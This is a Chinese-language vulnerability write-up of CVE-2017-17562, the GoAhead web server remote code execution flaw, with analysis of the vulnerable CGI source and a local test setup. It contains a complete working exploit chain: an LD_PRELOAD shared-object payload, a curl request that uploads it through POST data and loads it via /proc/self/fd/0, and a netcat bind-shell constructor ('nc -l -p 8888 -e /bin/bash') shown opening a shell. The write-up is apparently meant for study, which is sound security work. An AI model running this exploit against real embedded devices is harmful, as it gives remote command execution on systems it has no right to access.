CVE-2017-17562(GoAhead远程代码执行漏洞)分析

Table of Contents

GoAhead是一个流行的嵌入式设备上的Web服务器,最近曝光3.6.5之前的版本在远程代码执行漏洞。

1 CGI交互原理简述

由于是在处理CGI时导致漏洞的触发,所以在这之前我们先简单了解下GoAhead是如何与CGI程序交互的。

GoAhead在route.txt(/etc/goahead/route.txt)中定义了URL路由,GoAhead根据URL路由来决定URL的处理方式,比如:

route uri=/cgi-bin dir=cgi-bin handler=cgi

假如访问/cgi-bin/cgitest,GoAhead会直接运行网站目录下cgi-bin子目录中的cgitest程序,然后将cgitest的标准输出内容返回给客户端浏览器。

如果GET请求中带了参数,GoAhead会将参数设置成环境变量,CGI程序直接通过读取环境变量就可以获得参数内容。如:

/cgi-bin/cgitest?username=lu4nx

GoAhead会在运行CGI程序cgitest时,先设置环境变量username=lu4nx。

但是GoAhead没有对环境变量严格过滤,请求时可以设置LD_PRELOAD环境变量,然后上传恶意的动态链接库文件,导致了任意恶意代码执行。

2 搭建测试环境

从GoAhead的Github仓库中下载一份老版本的源码,然后编译。我下载的3.6.4的:

$ wget 'https://github.com/embedthis/goahead/archive/v3.6.4.zip'
$ unzip v3.6.4.zip && rm -f v3.6.4.zip
$ cd goahead-3.6.4
$ make

项目中提供了测试用的CGI代码,直接编译来供测试漏洞所用:

$ gcc test/cgitest.c -o test/cgi-bin/cgitest

运行GoAhead:

$ cd test/
$ sudo ../build/linux-x64-default/bin/goahead

访问cgitest:

$ curl localhost/cgi-bin/cgitest

3 漏洞测试

GoAhead在执行CGI之前,先解析GET参数,然后把它们注册为环境变量。

cgiHandler函数负责处理CGI请求,代码位于src/cgi.c,存在漏洞的关键代码如下:

PUBLIC bool cgiHandler(Webs *wp)
{
  /* ...此处省略其他代码... */

  envpsize = 64;
  envp = walloc(envpsize * sizeof(char*)); /* envp负责保存环境变量 */
  for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
    if (s->content.valid && s->content.type == string &&
        /* 只是不允许REMOTE_HOST和HTTP_AUTHORIZATION
         * 所以这里导致了漏洞的存在,就能设置LD_PRELOAD环境变量
         */
        strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
        strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
      envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
      trace(5, "Env[%d] %s", n, envp[n-1]);
      if (n >= envpsize) {
        envpsize *= 2;
        envp = wrealloc(envp, envpsize * sizeof(char *));
      }
    }
  }
  *(envp+n) = NULL;

  /* ...此处省略其他代码... */

  /* launchCgi负责执行CGI程序,并且把envp作为预先设置的环境变量传递过去 */
  if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) {
    websError(wp, HTTP_CODE_INTERNAL_SERVER_ERROR, "failed to spawn CGI task");
    for (ep = envp; *ep != NULL; ep++) {
      wfree(*ep);
    }
    wfree(cgiPath);
    wfree(argp);
    wfree(envp);
    wfree(stdOut);
    wfree(query);

  }
  /* ...此处省略其他代码... */
}

借助cgitest输出的环境变量,我们先来看传入的GET参数是否变成了环境变量:

$ curl localhost/cgi-bin/cgitest?test=hello,world | fgrep hello,world
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1786    0  1786    0     0  88988      0 --:--:-- --:--:-- --:--:-- 89300
<P>QUERY_STRING=test=hello,world</P>
<P>QUERY_STRING=test=hello,world</P>
<P>test=hello,world</P>
<p>QVAR test=hello,world</p>

可见,GoAhead在执行cgitest之前,新增了test环境变量,值为hello,world。

有个特殊的环境变量——LD_PRELOAD,可以让程序执行之前加载指定的.so文件。我们做一个测试,新建poc.c:

#include <stdio.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
  printf("hello world\n");
}

编译成动态链接库:

$ gcc -shared -fPIC poc.c -o poc.so

然后测试:

$ LD_PRELOAD=/tmp/poc.so cat /dev/null
hello world

可见,达到了劫持的效果,让程序在加载动态链接库之前,优先加载了poc.so。

现在我们借助这个poc.so来测试下GoAhead:

$ curl localhost/cgi-bin/cgitest?LD_PRELOAD=/tmp/poc.so -v
*   Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 80 (#0)
> GET /cgi-bin/cgitest?LD_PRELOAD=/tmp/poc.so HTTP/1.1
> Host: localhost
> User-Agent: curl/7.52.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Fri Dec 29 14:29:21 2017
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Frame-Options: SAMEORIGIN
< Pragma: no-cache
< Cache-Control: no-cache
< hello world

...省略其他输出...

看返回给客户端的HTTP头中,已经出现了“hello world”字样。

3.1 远程上传so文件

现在问题来了,客户端如何构造一个恶意的so文件上传到服务器上让它执行?

我们来看负责执行CGI程序的launchCgi函数的关键代码:

static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut)
{
    int     fdin, fdout, pid;

    trace(5, "cgi: run %s", cgiPath);

    /* 注意这里的fdin变量,指向的是传递给CGI程序的标准输入 */
    if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) < 0) {
        error("Cannot open CGI stdin: ", cgiPath);
        return -1;
    }
    if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) < 0) {
        error("Cannot open CGI stdout: ", cgiPath);
        return -1;
    }

    pid = vfork();
    if (pid == 0) {
        /*
         * 通过dup2函数,新进程的标准输入指向的还是客户端传递过来的
         */
        if (dup2(fdin, 0) < 0) {
            printf("content-type: text/html\n\nDup of stdin failed\n");
            _exit(1);

        } else if (dup2(fdout, 1) < 0) {
            printf("content-type: text/html\n\nDup of stdout failed\n");
            _exit(1);

        } else if (execve(cgiPath, argp, envp) == -1) {
            printf("content-type: text/html\n\nExecution of cgi process failed\n");
        }
        _exit(0);
    }
    /*
        Parent
     */
    if (fdout >= 0) {
        close(fdout);
    }
    if (fdin >= 0) {
        close(fdin);
    }
    return pid;
}

来理一下逻辑,客户端POST提交的内容,会在launchCgi新建进程执行CGI程序时,通过调用dup2函数,将新进程的标准输入指向POST内容的文件描述符中。

Linux中,/proc/self/fd/0就指向的标准输入,所以最终构造的攻击方式如下:

$ curl -XPOST --data-binary @/tmp/poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10160    0  2056  100  8104   1998   7876  0:00:01  0:00:01 --:--:--  7883
HTTP/1.1 200 OK
Date: Fri Dec 29 14:52:00 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello world
content-type:  text/html

可以看到“hello world”字样。

这里可以改一个简单的nc后门测试:

#include <stdlib.h>

static void before_main(void)__attribute__((constructor));
static void before_main(void)
{
  system("/bin/nc -l -p 8888 -e /bin/bash");
}

按上面的步骤编译上传,然后用nc去连接测试:

$ nc localhost 8888
hostname
lx-debian

4 参考资料